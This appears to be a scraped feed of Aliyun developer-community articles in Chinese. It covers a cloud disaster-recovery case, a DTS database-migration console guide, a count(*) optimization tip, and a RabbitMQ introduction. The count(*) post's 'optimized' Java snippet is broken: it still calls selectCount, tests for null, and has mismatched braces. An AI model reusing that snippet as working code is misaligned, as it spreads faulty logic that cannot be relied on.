    同时呢,云上的数据也能够复制到远程的一体机上,那么,这样可以就实现了一个完全符合等保规定的把一个备份突破,同时整套备份。

    它支持Oracle,SAP文件,还有其他类型的应用,另外还有大数据的应用。

    它的管理入口是在云上的,那么在云上就可以方便的,就是在任何时间,任何地点都可以方便地管理这套备份系统。

    典型案例-石化公司核心系统云容灾

    image.png

    希望实现低成本有足够物理距离的容灾系统,系统大概有十几台服务器,希望实现分钟级的RPO,确保分钟级的RPO情况之下同时也能兼顾到整体的成本,那么混合云容灾服务给到的方案是给用户本地上海部署一个灾备一体机,负责用户生产系统的数据聚合压缩加密复制到阿里云上,利用阿里云的HDR的CDR持续数据复制技术,建立一个一对一的数据盘的复制,云上只需非常低的内存,只要准备好一对一的云盘,那么云下的服务器上的盘上数据都可以实时复制到阿里云上。同时这些赋予ECS(承载ECS)云盘规格都很低,平常都需要运行15%CPU内存的ECS就可以了,当用户只需要容灾演练或故障切换的时候才需要把这些真正的ECS拉起来,也就是说云上的按需拉起的ECS的规格是可以更大的是用户可以按需指定的,那么这些ECS在容灾演练的时候可能只需要运行1-2个小时来验证数据的正确性。

    这些ECS是按需使用费用是非常低的,每天只有容灾演练的几天左右。

    ]]>
    DTS数据迁移 | 《DTS控制台入门一本通》第三章(上篇)-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800

    点击免费下载
    《DTS控制台入门一本通》>>>

    test

    也可以PC端点击https://developer.aliyun.com/topic/download?id=803 下载

    数据迁移可以把源端数据库的数据迁移到目标端(迁移不会影响源端数据库的数据,也不会导致源端数据库的数据丢失),数据迁移只支持后付费(按量付费),该页面展示了当前账户下各个地域的数据迁移实例的运行状态,如图 3-1。您还可以在这个页面创建新的迁移任务以及查看当前迁移任务的详细信息。

    image.png

    3.1地域

    图 2-1 标记①处为地域信息,此处可以切换各个地域查看不同地域的实例信息。
    推荐从概览页进入。

    3.2文件导入

    图 3-1 标记②的“文件导入”功能,是使用 DTS 提供的一个客户端工具,将工具部署在本地,使用该工具将本地数据库导出的文件,然后上传,实现导入功能,相当于我们自己导出文件然后导入一样,如图 3-2,该功能已经不再支持使用,请勿使用。

    image.png

    3.3创建迁移任务页面

    图 3-1 标记②的“创建迁移任务”,可以进行数据迁移的任务配置,点击后,会 进入 DTS 迁移任务的配置界面,如图 3-3,需要注意:

    ● DTS 目前的实现是逻辑迁移。
    ● 逻辑迁移的意思是指 DTS 会借助 SELECT 的方式抽取源库已存在的数据, 然后再通过 INSERT 的方式写入到目标库。
    ● 目前还不支持物理文件层面的迁移。

    image.png

    DTS 迁移任务主要分为 2 部分进行配置,即源库信息和目标库信息,源库是指 要使用 DTS 迁移的源端的数据库,目标库是指待迁入数据的数据库。比如我们要把 MySQL A 数据库的数据迁移到 MySQL B 数据库,这里,MySQL A 数据库 A 就是 源库。目标库就是 MySQL B 数据库。下面对源库以及目标库配置过程的具体项目进 行讨论。

    3.3.1 实例类型

    如图 3-3,顾名思义,就是 DTS 支持迁移的源端数据库接入的类型,并且 DTS 对不同的接入类型的实例,有不同的支持粒度,主要分为如下几种。无论是哪一种, 最终实现的核心目的是能让 DTS 的服务器集群连接到源端或者目标端的数据库。

    3.3.1.1 有公网 IP 自建的数据库

    这是最简单的一种接入类型,就是指您的源端的数据库有公网 IP 地址,这个地 址允许其他程序 ( 这里特指 DTS) 可以通过您的公网 IP 连接到您的源端数据库 , 这种 实例类型配置比较灵活,但是容易受到公网网络环境的影响,进而影响迁移的速率。 当我们选择这个类型时,页面的信息也会按照“有公网 IP 自建的数据库”进行展示, 如图 3-4。您需要把源端数据库的公网连接地址填写到“主机名或者 IP 地址”里, 这个需要再次强调,这个 IP 地址必须能够让 DTS 服务器访问到,即连通性必须正 常。如果连通性有问题,在“测试连接”时会出错。我们会在“测试连接”部分详细 讨论。这里有 4 点需要说明:

    ● 虽然这里特指的是“自建数据库”,但是只要是公网可达的 ( 比如 RDS 的公网 地址 ),都可以使用这个方式进行传输。
    ● 这里指的 IP 并不是只可以填写 IP, 也可以填写域名 ( 比如 RDS 的公网连接字 符串 )。
    ● 自建 MySQL 数据库一般都有一个参数 bind_address,这个是指 MySQL 接 受(监听)来自于哪个 IPV4 或者 IPV6 地址的连接,为了避免出现 DTS 无法 连接的情况,建议设置成“*”或者“0.0.0.0”。
    ● 请一定确保,自建数据库所在主机的防火墙没有拦截 DTS 服务器地址的入方
    向的访问。服务器地址我们会在“3.3.2 实例地区”讨论。

    image.png

    3.3.1.2 通过专线 /VPN 网关 / 智能接入网关接入的自建数据库

    相比公网的不安全而言。这个方式实现了非“公网”传输。但是这里的非“公 网”传输需要借助其他的产品来实现,这些产品是:高速通道专线智能接入网关 VPN 网关。它们最终实现的是把本地自建数据库和阿里云的链路打通。通过非“公 网”的方式进行连接。最终只要连通性正常。就可以进行传输。如下图 3-5。这里有 5 点需要特别说明:

    ● 虽然它们都可以实现非“公网”方式连接。但是实现方式是不一样的。专线才 是真正意义上的内网传输。而智能接入网关和 VPN 网关都是依赖公网实现的。 只是实现了非“公网”方式连接 ( 打通了本地与阿里云内网 )。
    ● 选择这个方式,需要填写 VPC ID(“已和源端数据库联通的 VPC”)。请注意, 这里不是随便填写一个 VPC ID 就可以了。这个 VPC ID 必须进行了高速通道 专线、智能接入网关、VPN 网关的相关配置打通了链路才可以。没有做任何 配置的 VPC ID 即使填写上也无法联通 ( 测试连接会出错 )。具体配置方式涉 及各个产品的较多内容,您如果需要可参考具体产品的帮助文档。
    ● 虽然这里特指的是“自建数据库”,但是只要是通过这三种方式实现网络可达 的 ( 比如 VPC 下的 RDS),都可以使用这个方式进行传输。 ●“IP 地址”这部分,只可以填写 IP 地址。如何填写域名或者字符会提示“请输 入合法的 ip 地址”。 ● 配置好高速通道专线、智能接入网关、VPN 网关之后,还需要配置 DTS 与它们 之间路由,配置路由需要参考:
    https://help.aliyun.com/document_detail/117525.html?spm=a2c4g.11186623.6.590.2d2f6487R0gxRt

    image.png

    3.3.1.3 无公网 IP:Port 的数据库 ( 通过数据库网关 DG 接入 )

    如下图 3-6,选择这个接入方式,也可以实现非“公网”接入。它的实现方式 是要在源端数据库所在的主机上安装一个数据库网关。这个数据库网关与智能接入网 关、VPN 网关相似,依赖于公网。但是免去了复杂的配置步骤与较高的成本。这种 接入方式的使用量较少。使用时需要注意如下 1 点:

    ● 这里配置时需要选择“数据库网关 ID”,这里不是选择了 ID 就可以了,还需 要对这个网关进行安装和添加数据库。也就是要保证网关“状态”运行正常。

    image.png

    3.3.1.4 通过云企业网 CEN 接入的自建数据库

    如下图 3-7,云企业网简称 CEN(Cloud Enterprise Network),它不是一种具体 的接入方式,即它并不是专线、VPN 这种连接能力。它是一个能力提供者或者平台。 它提供一种组网的能力,可以实现专线、VPN 等的网络互通与管理。选择这个接入方 式后,需要选择“云企业网实例 ID”以及“已和源库互联的 VPC 网络”。这里特指 “自建数据库”。但是无论是自建还是云数据库,只要连接打通,都可以使用这种方式。

    image.png

    3.3.1.5 ECS 上的自建数据库

    顾名思义,就是指在阿里云 ECS 服务器上搭建的自建数据库,如下图 3-8,选 择这个接入方式非常适合 ECS 服务器上的数据库进行迁移。您只需要选择对应的 “ECS 实例 ID”,填写相关数据库信息即可。此处需要注意 2 点:
    ● ECS 服务器有安全组的限制。正常情况下,当选择完 ECS 的实例 ID,填写 完数据库的连接信息,然后点击 DTS 源端数据库的“测试连接”后,DTS 会 自动把 DTS 服务器的 IP 端添加到 ECS 的安全组里面。如图 3-9。如果您遇 到连通性问题,请先检查这一点是否正常。
    ● 除了安全组,ECS 上部署的操作系统内还有防火墙,请确保防火墙也做了响 应的入方向放行规则。

    image.png

    image.png

    3.3.1.6 RDS 实例

    这里特指您购买的阿里云的 RDS 数据库实例,如下图 3-10,选择这个接入方式后,只需要填写对应的“RDS 实例 ID”以及账密即可。DTS 后台会自动的通过实例 ID 查询对应 RDS 的连接地址和端口。并且,DTS 还支持“其他阿里云账号下的 RDS 实例”的迁移。您可以在阿里云 B 账号下迁移阿里云 A 账号的 RDS 数
    据库。跨账号迁移的操作与配置比较复杂,可以参考该云栖文档:
    https://yq.aliyun.com/articles/353204?spm=a2c4e.11155435.0.0.6ff363b5zVAhec

    此处注意如下 1 点:

    ● RDS 数据库产品有一个安全限制,就是白名单。同“3.3.1.5 ECS 上的自建数据库”的自动添加安全组行为类似,DTS 也会自动把 DTS 服务器的地址段添加到 RDS 数据库的白名单中。添加完后的白名单信息您无法在云 RDS白名单页面看到。

    image.png

    3.3.1.7 云 MONGODB 实例

    这里特指您购买的阿里云的 MONGODB 数据库实例,如下图 3-11,选择这个接入方式后,只需要填写对应的云 MONGODB 的实例 ID、认正数据库以及账密即可。同“3.3.1.6 RDS 实例”的自动添加白名单行为一样,DTS 也会自动把 DTS服务器的地址段添加到云 MONGODB 数据库的白名单中。添加完后的白名单信息您无法在云 MONGODB 的白名单页面看到。

    image.png

    3.3.1.8 PolarDB

    这里特指您购买的阿里云的 PolarDB 数据库实例,如下图 3-12,选择这个接入方式后,只需要填写对应的云 PolarDB 的实例 ID 以及相关的连接信息即可。同“3.3.1.6 RDS 实例”的自动添加白名单行为一样,DTS 也会自动把 DTS 服务器的地址段添加到云 PolarDB 数据库的白名单中。添加完后的白名单信息您无法在云PolarDB 的白名单页面看到。

    image.png

    3.3.2实例地区

    图 3-3 中的“实例地区”选择后也就意味着 DTS 会使用这个地区的服务器(DTS 在很多地区都部署了服务器)连接源端数据库进行数据的抽取和传输(简单说 就连接数据库后执行 select 查询获取数据)。选择不同的实例类型,在实例地区选择 上有 2 点不同,主要如下:

    ● 如果实例类型选择的是“有公网 IP 自建的数据库”,实例地区这里理论上选 择任何一个都可以(因为公网 IP 任何地方都可达),建议选择与数据库所在 地域物理距离相近的地区。比如自建数据库的机房在北京,则建议选择华北 2 地区。

    ● 除“有公网 IP 自建的数据库”外的其他实例类型在选择实例地区时,则需 要按照实例所在的地域进行选择。比如 RDS 实例在华东 1,则地域必须 选择华东 1。这样的话,DTS 的华东 1 服务器集群才可以正常连接华东 1 的 RDS。

    重点再说明一下实例类型部分说明的问题,因为 DTS 的服务器非常多,为了能 够让 DTS 顺利的链接上源端的数据库,假设您源端数据库做了防火墙 ( 自建 )、安全 组 (ECS)、白名单 (RDS) 等安全设置,您还需要把 DTS 这个地区的所有服务器(有 的客户不想放行所有服务器,这个暂时无法满足)的地址进行放行。需要放行的 DTS 服务器的网段点击图 3-3 的“获取 DTS IP 段”查看,如下图 3-13。

    image.png

    3.3.3端口

    图 3-3 的“端口”部分用来指定需要 DTS 访问的数据库端口,只有某些实例类型才需要填写该项目。指定了 IP 只能说明您的数据库运行在这台主机上,但是这台主机上可能运行了很多的应用程序。端口就用来说明要访问哪个应用程序。请注意您的网络防火墙或者安全组 ( 特指 ECS) 配置。对对应端口的访问进行放行。

    3.3.4数据库类型

    图 3-3 的“数据库类型”部分用来选择迁移的数据库类型,目前阿里云 DTS 支 持的源端数据库类型有:Oracle、MySQL、SQLServer、PostgreSQL、Mongodb、 DB2、TIDB。这里需要正确的选择源端数据库的类型,如果您源端是 MySQL 则需 要选择 MySQL。您选择什么样的数据库类型意味着 DTS 的应用程序使用哪种数据 库驱动进行连接您的源端数据库,所以请务必选择正确。这里有 3 个注意点:

    ● 源库的数据库类型与目标库的数据库类型建议一致,因为兼容性最好。以下 图 3-14 为例,当选择实例类型为 RDS,实例 ID 是一台 MySQL 实例时, 目标端数据库类型或者实例类型时会展示出 SQLServer、Postgresql。目 前 DTS 除 了 支 持 MySQL->Oracle、Mysql->Postgresql、MySQL-> MySQL、MySQL-> PolarDB MySQL、MySQL-> AnalyticDB MySQL、 MySQL-> DRDS 外,其他的数据库类型暂不支持,所以如果此时目标选择 SQLserver 实例,迁移会出现异常。其他的实例类型和数据库类型同理。

    ● 若源端数据库为 Sqlsever 时,当开启增量迁移时,一个 DTS 任务只允许一 个数据库进行增量迁移(这取决于其事务日志)。全量迁移支持多个数据库。

    ● 若源端数据库为 PostgreSQL 时,无论是否开启增量迁移,一个 DTS 任务只 允许迁移一个数据库(这取决于其 XLOG)。

    image.png

    3.3.5数据库账号

    图 3-3 的“数据库账号”指的是您需要 DTS 使用哪个账号连接您的源端的数据 库。这里出现问题最多的是 MySQL 数据库的账号问题以及 MONGODB 数据库的 账号问题。主要有如下 4 点:

    ● MySQL 的数据库账号组成是 user 和 host 两个元素,即:user@host 这种 格式。这也就意味着,如果 user 相同而 host 不同,这不是相同的账号。比如 如下 2 个账户:alitest@'%' 与 alitest@'10.0.0.1'。 当 您 使 用“alitest” 账 户 在 IP 为 10.0.0.1 的客户端主机访问您的数据库的时候,鉴权时账户用的是 alitest@'10.0.0.1'。当您使用“alitest”账户在 IP 为 10.0.0.2 的客户端主机访 问您的数据库的时候,由于“alitest”的 host 只有 % 和 10.0.0.1。而 10.0.0.1 并不符合,所以鉴权时账户用的是 alitest@'%'。了解这点非常重要。

    ● 所以,我非常建议您创建一个独立的账号进行 DTS 的迁移,并且账号的 host 建议是 '%'。因为 DTS 服务器的网段非常多,并且没有规律(请参考图 3-5)。% 可以有效的避免账户连接多问题。

    ● MySQL 遇到最多的数据库账号连接类问题是这个错误 : Access denied for user 'xxxx'@'xxxx' (using password: YES) 这个错误在连接时产生的原因有 2 个:账户错误或者密码错误。您如果遇到, 请参考这里排查: https://yq.aliyun.com/articles/158321?spm=a2c4e.11155435.0.0.6ff363b5cXNuax

    ● MONGODB 的账户链接时,还需要填写一个“数据库名称”项,如下图 3-15。这个是指 MONGODB 账户的 authentication database。 authentication database 是指创建 MONGODB 账户的时候所在的数据库。比如一 个 MONGODB 数据库为 alitest。我们执行 use alitest 切换到 alitest 数据库 下,然后执行 db.createUser() 创建一个 test 账户,密码是 123。当我们使 用 test 账户登陆 mongodb 的时候,数据库名称 (authentication database) 就是 alitest。

    image.png

    3.3.6数据库密码

    图 3-3 的“数据库密码”指的是使用的“数据库账号”的连接密码。数据库密码遇到的问题较少。请重点关注“数据库账号”章节的相关问题。

    3.3.7连接方式

    当实例类型选择“ECS 上的自建数据库”,数据库类型选择“MySQL”时, DTS 支持连接方式的选择,即支持 SSL 加密的连接方式。当勾选“SSL 安全连接” 时,需要上传 SSL 的证数等文件,如下图 3-16。其中 CA 根证数是必传的。另外, DTS 目前只支持 SSL 加密。请注意如下 2 点:

    ● 如您要使用 SSL 安全连接,请确保您的源端数据库以及目标端数据库做了相 应的 SSL 配置,关于如何配置数据库的 SSL 非本书的重点。不在此赘述。

    ● 并非所有的实例类型以及数据库类型 DTS 都支持 SSL 访问。

    image.png

    3.3.8测试连接

    重点中的重点,图 3-3 的“测试连接”点击后,会使用我们配置的这些连接信 息去连接源端或者目标端的数据库,针对 ECS、RDS、云 MONGODB、云 REDIS 等云数据库,还会进行安全组、白名单的检查和添加操作,检查对应的云 ECS 实例 和云数据库实例的安全组、白名单里是否有 DTS 的安全组或者白名单,没有则添加。 测试分为 ping、telnet、数据库协议 ( 比如 MySql JDBC Connect ) 三个层面,测 试结果如下图 3-17。需要注意如下 4 点:

    ● 如果测试连接失败。分为 ping 失败,telnet 失败以及数据库协议 ( 比如 MySql JDBC Connect) 失败。我们只需要关注 telnet 和数据库协议即可。因为 ping 现在的测试结果并不能说明问题,可以忽略它的测试结果。

    ● telnet 如果成功,说明 DTS 可以正常通过您配置的地址与端口访问到对应的应 用程序。如果失败,则说明 DTS 无法通过您配置的地址与端口访问到您的应用 程序。此时则需要进行网络防火墙或者安全组的排查或者抓取网络报文排查。

    ● 数据库协议 ( 比如 MySql JDBC Connect ) 如果成功,则说明 DTS 可以通 过您配置的地址、端口、数据库账号、数据库密码等信息,成功访问到您的数 据库。如果失败,一般会有错误提示,对 MySQL 来说,最常见的是 Access denied for user 'xxxx'@'xxxx' (using password: YES), 这 点, 我 们 在 “3.3.5 数据库账号”讨论过。其他的连接问题,可以参考这个云栖文档 : https://yq.aliyun.com/articles/158321?spm=a2c4e.11155435.0.0.6ff363b5aL5jmA

    ● 有时点击测试连接后,会一直转圈,没有任何结果。遇到这个情况。可以忽略 测试连接,直接点击“授权白名单并进入下一步”。换句话说,测试连接并不 是必须要点击的。如果配置的源库连接有问题,我们点击“授权白名单并进入 下一步”跳转到新页面时会出错 ( 因为此时会真正的去源库取数据库的对象信 息,如下图 3-18)。如果配置的目标库连接有问题,我们在“预检查”时会 出错 ( 因为预检查会检查目标库连接 )。所以测试连接一般情况下可点可不点。 大多数情况下不需要执着于这一步。

    image.png
    image.png

    3.3.9授权白名单并进入下一步

    图 3-3 的“授权白名单并进入下一步”点击后,会和测试连接一样,也会进
    行安全组与白名单的检查和添加,然后会进入数据库迁移对象选择页面,如下图3-19。这是一个库级别 ( 数据库级别的同步,DTS 还支持表级别和列级别同步 ) 同步的任务截图。这个页面的左侧显示的是源端数据库的对象信息 ( 如图例里的 dtstest、mysqltest 数据库 )。右侧显示的是要迁移到目标数据库的对象信息 ( 如 图例里的 dtstestdata 数据库 ),如果您要更改迁移到目标数据库的对象的名字, 可以把鼠标放到“dtstestdata”上,然后点击右侧的编辑,更改库名 ( 除了更改库 名外,表级别同步还支持修改表名以及列名 )。该功能为 DTS 的库表列映射,如下 图 3-20。

    image.png

    image.png

    image.png

    3.3.10迁移类型

    3.3.10.1结构迁移

    图 3-19 里的“结构迁移”是指是否迁移源端数据库的对象结构信息。这些结构 包括表结构、索引、视图、存储过程等。DTS 会通过 Select 的方式,获取源库的数 据对象的结构。为什么要进行结构迁移?什么时候需要结构迁移?原因分别如下:

    ● 结构迁移针对的是关系型数据库,非关系型数据库不需要 ( 比如 MONGODB),对关系型数据库来说,数据要存储,必须先建表。所以 DTS 需要先 进行结构迁移,创建表结构才能进行后面的数据迁移。

    ● 当目标数据库里面没有对应的表对象时,才需要选择结构迁移。如果目标数据 库里面已经有了对应的数据库的表对象,不需要选择结构迁移 ( 比如目标库已 经有表 A,此时选择结构迁移,DTS 会在目标库创建表 A,因为表 A 已经存 在,DTS 创建会出错,提示 1050 - Table xxxx already exists)。

    结构迁移遇到的最常见的问题是 :

    ● 源端或者目标端的数据库的数据库对象非常非常多,因为 DTS 要以 Select 的 方式查询这些信息。数据库对象过多,容易造成查询超时,这类问题比较难解决。

    如果您遇到这种问题,请反馈阿里云售后。 如果要查看 DTS 在源端或者目标端的进程状态,大多数数据库都可以在源 端或者目标端的执行数据库的相关查询命令,以 MySQL 为例,可以执行 :show processlist 确认会话信息。

    3.3.10.2全量数据迁移

    图 3-19 里的“全量数据迁移”是指是否迁移源端数据库的数据 ( 表的记录 )。 这是真正的数据的迁移,它迁移的是源端数据库表里已经存在的数据(这些数据可 能是历史数据,早已经写入,也可能刚刚写入不久的数据,非未来新增的数据),简 单的说,DTS 会通过 Select 获取源端数据库里的表的数据。然后通过 Insert、 Replace into、Update、Delete 的方式,写入到目标端。DTS 使用 Select 查询对 应表的数据,不是一次性全部查询的。一般是对的数据进行分片 ( 常见的是使用主键进行分割 ),然后并行查询各个分片的数据。DTS 写入目标端数据也是并行写入的。 这也就导致有 2 个问题:

    ● DTS 迁移完成后,目标数据库的数据空间大小比源端数据库的数据空间大小 大,这是因为并行写入产生数据空洞导致。如果您遇到这种问题,可以在业务 允许的期间执行 Optimize table xxx 对表的空间进行收缩 (Optimize table 有 产生 MDL 阻塞的可能 , 执行时请评估执行时间和业务影响 )。

    ● Optimize table 大多数情况下,都能够成功的对表的空间进行收缩。极少的情况 下无法对表的空间进行收缩。如果遇到无法收缩的情况,可以反馈阿里云售后。 如果要查看 DTS 在源端或者目标端的进程状态,大多数数据库都可以在源 端或者目标端的执行数据库的相关查询命令,以 MySQL 为例,可以执行 :show processlist 确认会话信息。

    3.3.10.3增量数据迁移

    图 3-19 里的“增量数据迁移”是指 DTS 通过解析源端数据库的相关数据库日 志 ( 比 如 MySQL 的 Binlog、SQLserver 的 Transaction Log、MONGODB 的 oplog 等 ),把全量迁移开始之后的增量数据,实时的同步到目标端。即源端有一条 Insert,DTS 会解析这些日志,生成一个同样的 Insert 发送到目标端,实现增量数 据迁移,增量迁移目前不支持触发器的迁移。

    很多客户在问,DTS 是如何保证数据完整性的? DTS 通过全量 + 增量的方式 保证数据完整性,但是在如下 2 个情况下,DTS 无法保证数据的完整性:

    ● 迁移的对象里,没有主键或者唯一键的数据库对象,无法保证完整性。因为 DTS 是分批次抽取和并发写入数据,没有主键时会造成数据重复或者数据缺 失的情况。请确保迁移对象有主键或者唯一键。

    ● 多对一的相同数据库对象的数据迁移,无法保证数据完整性。多对一是指多个 源库通过多个任务,把源端多个数据库对象的数据迁移到目标库的同一个数据 库对象里。 如果要查看 DTS 在源端或者目标端的进程状态,大多数数据库都可以在源端或者目标端的执行数据库的相关查询命令,以 MySQL 为例,可以执行 :show processlist 确认会话信息。DTS 的增量会在源端的 MySQL 数据库启动一个 binlog dump 进程(如果您搭建过 MySQL 主从,MySQL 本身的主从也是会起动一个 binlog dump 进程)。 DTS 的增量数据迁移延迟是无法保证的,正常情况下 DTS 的增量迁移是秒级延 迟,但是当遇到一些 DDL、大量更新时或者 DTS 规格达到瓶颈等情况时,增量数据 迁移延迟会增高。如果您遇到大的延迟(比如超过 1000S),可与阿里云售后反馈。

    3.3.11预检查并启动

    当迁移对象以及迁移类型配置好后,点击“预检查并启动”将会进行下面的检 查环节,检查环节顺利通过后,会启动 DTS 任务开始迁移数据。检查的目的是避免 一些已知的问题导致 DTS 迁移异常,常见的检查项目如下图 3-21。预检查失败后, 无法进行下一步,需要您针对出错的检查项进行处理,当您处理了预检查失败的检查 项后。可以点击启动任务(启动方式为图 3-1 中任务列表的“启动任务”按钮。)重 新启动预检查。

    image.png

    3.3.11.1源库连接性检查

    检查预检查的 DTS 服务器是否可以通过迁移任务页面的相关配置正常连接源端 数据库。需注意如下 2 点:

    ● DTS 的服务器有很多,这些服务器有的部署了预检查程序,有的部署了“测 试连接”程序,有的部署了结构迁移的程序,有的部署了全量迁移的程序,有 的部署了增量迁移的程序。这也就意味着,任何一个环节的连接正常都不能保 证下一个或者其他环节连接也正常 ( 比如数据库等防火墙做了限制 )。您可能 会遇到预检查正常但是后续的结构迁移连接异常,也可能遇到结构迁移任务正 常但是后续的全量迁移连接异常的情况。这些都是有可能的。

    ● 遇到连接异常的情况,首先要有一个判断,这个异常是网络本身 (TCP/IP) 不通还是应用层面的问题。如果是网络层面的,则需要查防火墙以及链路 配置。如果网络没问题只是在应用层出现的异常,则需要查造成这个应用异 常的原因。举一个例子,前面提到过的这个错误 : Access denied for user 'xxxx'@'xxxx' (using password: YES)。这个错误意味着,网络可达,只是 在对数据库进行账密认证的时候出错了 ( 应用层 )。如果网络不可达,我们甚 至无法进行数据库应用层面的这些认证。了解这点非常重要。

    3.3.11.2源库权限检查

    要使 DTS 通过您在创建迁移任务页面填写的账户信息获取源端数据库的数据, 就需要对这个账户进行一写数据库对象的授权。不同的数据库类型以及迁移类型需要 不同的数据库权限。以 MySQL 为例,结构、全量迁移只需要 SELECT 权限即可。 而增量迁移则需要 REPLICATION SLAVE、REPLICATION CLIENT、SHOW VIEW 和 SELECT 权限。

    3.3.11.3目的库连接性检查

    检查预检查的 DTS 服务器是否可以通过迁移任务页面的相关配置正常连接目标端数据库。注意点与“3.3.11.1 源库连接性检查”相同。

    3.3.11.4 目的库权限检查

    要使 DTS 把从源端获取到的数据写入目标端数据库,也需要对应的写入权限。 同样以 MySQL 为例,结构、全量和增量需要 SELECT 和 INSERT、UPDATE、 DELETE、CREATE 等等读写的权限。

    3.3.11.5 存储引擎检查

    这个一般是针对 MySQL 数据库的迁移,因为 MySQL 有很多数据库引擎。 DTS 不支持 FEDERATED、MRG_MyISAM 或 TokuDB 存储引擎的迁移。

    3.3.11.6 源库版本检查

    检查源库的版本是否符合 DTS 产品的要求,以 MySQL 为例,DTS 只支持如 下几个版本:5.1、5.5、5.6、5.7、8.0。其他数据库类型的版本限制可以参考这里: https://help.aliyun.com/document_detail/26618.html?spm=a2c4g.11186623.2.7.3a392a8770k06x#concept-26618-zh

    3.3.11.7 同名对象存在性检查

    目的是检查目标数据库中是否存在和待迁移对象同名的对象。当我们选择结构迁 移的时候,DTS 会在目标创建对象结构,如果目标数据库已经有同名的对象结构了, 就会创建失败。

    这点我们在“3.3.10.1 结构迁移”讨论过。

    3.3.11.8 数据库可用性检查

    检查目标实例是否已经有了对应的数据库,比如我们要把源端 alitest 的数据库 迁移到目标端。我们需要先在目标端手动创建 alitest 实例。避免预检查失败,请注 意如下 1 点:

    ● 很多情况下,DTS 会自动的在目标端创建数据库,DTS 自动创建数据库的 前提是账户的权限正常。不过也有例外(比如字符集问题,数据库名称不合法 等),如果遇到 DTS 无法自动创建数据库的情况,请手动创建后重启预检查。

    3.3.11.9 源库 binlog 开启检查

    当迁移类型勾选增量迁移时,才会检查该项,在“3.3.10.3 增量数据迁移”我们 讨论过,增量迁移是通过一些日志来实现的。这个检查项是为了检查数据库这方面的 日志是否开启。如果源端是 MySQL 数据库,则检查 binlog。

    3.3.11.10 源库 binlog 模式检查

    开启了相关日志后,要检查源数据库的 Binlog 模式是否为 ROW。建议更 改 .cnf 配置文件,改完配置文件的参数后,请对源端数据库进行一次重启。

    3.3.11.11 源库 binlog_row_image 是否为 FULL

    如果您源端是 MySQL5.6 及以上的 数据库版本时,开启增量迁移后,会检查 binlog_row_image 参数。建议更改 .cnf 配置文件,改完配置文件的参数后,请对 源端数据库进行一次重启。

    3.3.11.12 源库 server_id 检查

    如果您源端是 MySQL 数据库,则开启增量迁移后,会检查源端数据库的 server id 参数。server_id 值需要是大于 2 的整数。请注意如下 1 点:

    ● 建议更改 .cnf 配置文件,更改完配置文件参数后,请对源端数据库进行一次重启

    3.3.11.13 源库 binlog 存在性检查

    这个检查项目主要检查 show binary logs 列出来的的文件是否存储,检查这个 的目的是因为很多情况下,我们删除 MySQL 的 binlog 时,是直接从操作系统目录 remove 掉的,并没有通过 MySQL 的 purge 进行删除。这也就导致数据库里还存 在着 binlog 文件的记录,而操作系统目录里已经没有了。遇到这种情况出现,您可 以通过执行 purge 来清理 MySQL 数据库记录的 binlog 文件。使之与操作系统目录 的文件数量和编号对应。

    3.3.11.14 MySQL 密码格式检查

    检查源库使用数据库密码格式是否为老版。主要检查数据库的参数 old_ passwords 是否为 1。如果您的 old_passwords 为 1,建议修改为 0。修改密码格 式可能会影响业务的正常运行,请谨慎操作。

    3.3.11.15 复杂拓扑存在性检查

    DTS 支持的迁移拓扑一般有如下 5 种:一对一、一对多、级联、多对一、双向 迁移(非双向同步),其中双向迁移是不支持的拓扑结构,如果后台检测到这种拓扑结 构,会出错。如果这个检查项您出现预检查失败,一般可以联系和授权阿里云售后跳 过概检查项(预检查检测环节可以手动跳过的前提是双向迁移的数据对象以及数据不 冲突,避免造成数据混乱)。

    3.3.11.16 补充

    如果预检查出现这种错误检查项“unexpected error”,请与阿里云售后反馈确认。

    3.3.12 立即购买并启动

    预检查通过后,点击下一步,进入购买页面,如下图 3-22。选择规格后,点击 “立即购买并启动”正式运行 DTS 任务。这里需要注意如下 3 点:

    ● 对 DTS 迁移来说,只进行结构迁移和全量迁移,目前是免费的

    ● 选择增量迁移后,才会收费,暂停同样收费。

    ● DTS 迁移只支持后付费(按量计费),不支持包年包月。

    image.png

    ]]>
    判断“存在“你还在用count吗,细节决定成败-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 @[toc]
    在这里插入图片描述

    1. 为什么要用count(*)

    在我们实际开发中,业务 往往是 如:(判断该手机是否已经存在),我们为了提高程序的运行效率,这个时候都会使用

    select count(*) from sys_user where phone = '18217692100'

    在这里插入图片描述

    //而我们Java代码
    Integer count = mapper.selectCount(phone);
    //写业务代码
    if(count != 0){
      ……
    else{
      ……
    }

    2. 优化方案

    select 1 from sys_user where phone = '1821762100' LIMIT 1

    在这里插入图片描述

    //而我们Java代码
    Integer count = mapper.selectCount(phone);
    //写业务代码
    if(count != null){
      ……
    else{
      ……
    }
    • SQL不再使用count,而是改用LIMIT 1,让数据库查询时遇到一条就返回,不要再继续查找还有多少条了
      业务代码中直接判断是否非空即可
    • 正所谓 ,细节决定成败 ,从速度上可以看出我们的优化方案快了好多

    个人博客地址:http://blog.yxl520.cn/

    ]]>
    超详细的RabbitMQ入门,看这篇就够了!-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 思维导图

    一、什么是消息队列

    消息指的是两个应用间传递的数据。数据的类型有很多种形式,可能只包含文本字符串,也可能包含嵌入对象。

    “消息队列(Message Queue)”是在消息的传输过程中保存消息的容器。在消息队列中,通常有生产者和消费者两个角色。生产者只负责发送数据到消息队列,谁从消息队列中取出数据处理,他不管。消费者只负责从消息队列中取出数据处理,他不管这是谁发送的数据。

    二、为什么使用消息队列

    主要有三个作用:

    • 解耦。如图所示。假设有系统B、C、D都需要系统A的数据,于是系统A调用三个方法发送数据到B、C、D。这时,系统D不需要了,那就需要在系统A把相关的代码删掉。假设这时有个新的系统E需要数据,这时系统A又要增加调用系统E的代码。为了降低这种强耦合,就可以使用MQ,系统A只需要把数据发送到MQ,其他系统如果需要数据,则从MQ中获取即可

    • 异步。如图所示。一个客户端请求发送进来,系统A会调用系统B、C、D三个系统,同步请求的话,响应时间就是系统A、B、C、D的总和,也就是800ms。如果使用MQ,系统A发送数据到MQ,然后就可以返回响应给客户端,不需要再等待系统B、C、D的响应,可以大大地提高性能。对于一些非必要的业务,比如发送短信,发送邮件等等,就可以采用MQ。

